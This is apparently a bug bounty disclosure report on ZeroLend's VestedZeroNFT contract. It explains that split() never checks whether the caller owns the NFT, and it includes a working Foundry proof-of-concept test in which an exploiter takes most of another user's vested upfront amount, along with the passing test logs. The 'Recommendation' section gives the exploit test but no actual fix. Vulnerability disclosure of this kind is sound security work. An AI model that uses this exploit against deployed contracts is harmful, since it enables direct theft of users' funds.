29288 - [SC - Critical] all NFTs can be stolen by calling VestedZeroNFT...
Submitted on Mar 13th 2024 at 11:27:54 UTC by @EricTee for Boost | ZeroLend
Report ID: #29288
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/zerolend/governance
Impacts:
Direct theft of any user NFTs, whether at-rest or in-motion, other than unclaimed royalties
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
Wrong implementation in VestedZeroNFT::split() causes users' NFT to be stolen by anyone. Specifically, the problem arises from the ERC721Upgradeable.sol::_requireOwned check in VestedZeroNFT::split() which fails to check the caller is the owner of the NFT, allow anyone to split the pendingAmount and upfrontAmount of any tokenId up to 99%.
Vulnerability Details
In VestedZeroNFT::split():
function split(
uint256 tokenId,
uint256 fraction
) external whenNotPaused nonReentrant {
_requireOwned(tokenId);
// REDACTED by erictee
the _requireOwned check is not implemented correctly. Let's take a look at ERC721Upgradeable.sol::_requireOwned in Openzeppelin:
This function only return the address of the NFT owner but never revert if the caller is not the NFT owner. Therefore, anyone can call VestedZeroNFT::split() with any tokenId and to steal pendingAmount and upfrontAmount up to 99%.
Impact Details
Direct theft of any user rewards.
Recommendation
Consider making the following changes in VestedZeroNFT::split():
Add VestedZeroNFT.t.sol file within test folder with the following content:
// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.0;import {Test, console} from"forge-std/Test.sol";import {VestedZeroNFT} from"../contracts/vesting/VestedZeroNFT.sol";import {ZeroLend} from"../contracts/ZeroLendToken.sol";import {StakingBonus} from"../contracts/vesting/StakingBonus.sol";import {IVestedZeroNFT} from"../contracts/interfaces/IVestedZeroNFT.sol";contract VestedZeroNFTTest is Test { address public admin; VestedZeroNFT public vesting; ZeroLend public zero; StakingBonus public stakingbonus; address public bob; address public exploiter;functionsetUp() public { vesting =newVestedZeroNFT(); zero =newZeroLend(); stakingbonus =newStakingBonus(); //erictee: no need to init here as this is for testing.vesting.init(address(zero),address(stakingbonus)); bob =makeAddr("BOB"); exploiter =makeAddr("EXPLOITER");zero.togglePause(false); }functiontest_correct() external {console.log(address(vesting));console.log(address(vesting.zero()));console.log(zero.balanceOf(address(this))); }functiontest_StealAmountBySplitting() external {// preparationzero.approve(address(vesting),type(uint256).max);vesting.mint( bob,15e18,// 15 ZERO linear vesting5e18,// 5 ZERO upfront1000,// linear duration - 1000 seconds500,// cliff duration - 500 secondsblock.timestamp +1000,// unlock datefalse,// penalty -> falseIVestedZeroNFT.VestCategory.PRIVATE_SALE// 0 ); // Same config as typescript testcase.vm.warp(block.timestamp +1000); //fast forward to unlock date. (uint256 upfrontBefore, uint256 pendingBefore ) =vesting.claimable(1); // tokenId = 1console.log("UPFRONT BOB Before: ", upfrontBefore);console.log("PENDING BOB Before: ", pendingBefore);vm.startPrank(exploiter);vesting.split(1,1); // tokenId = 1 , fraction =1 vm.stopPrank(); (uint256 upfrontExploiter, uint256 pendingExploiter) =vesting.claimable(2); // exploiter owns the tokenId 2 console.log("UPFRONT EXPLOITER: ", upfrontExploiter);console.log("PENDING EXPLOITER: ", pendingExploiter); (uint256 upfrontAfter, uint256 pendingAfter ) =vesting.claimable(1); // tokenId = 1console.log("UPFRONT BOB After: ", upfrontAfter);console.log("PENDING BOB After: ", pendingAfter); }}
Finally, run the foundry test with : forge test --match-test test_StealAmountBySplitting -vv
Foundry Result:
Running 1 test for test/VestedZeroNFT.t.sol:VestedZeroNFTTest
[PASS] test_StealAmountBySplitting() (gas: 656485)
Logs:
UPFRONT BOB Before: 5000000000000000000
PENDING BOB Before: 0
UPFRONT EXPLOITER: 4999500000000000000
PENDING EXPLOITER: 0
UPFRONT BOB After: 500000000000000
PENDING BOB After: 0
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.15ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)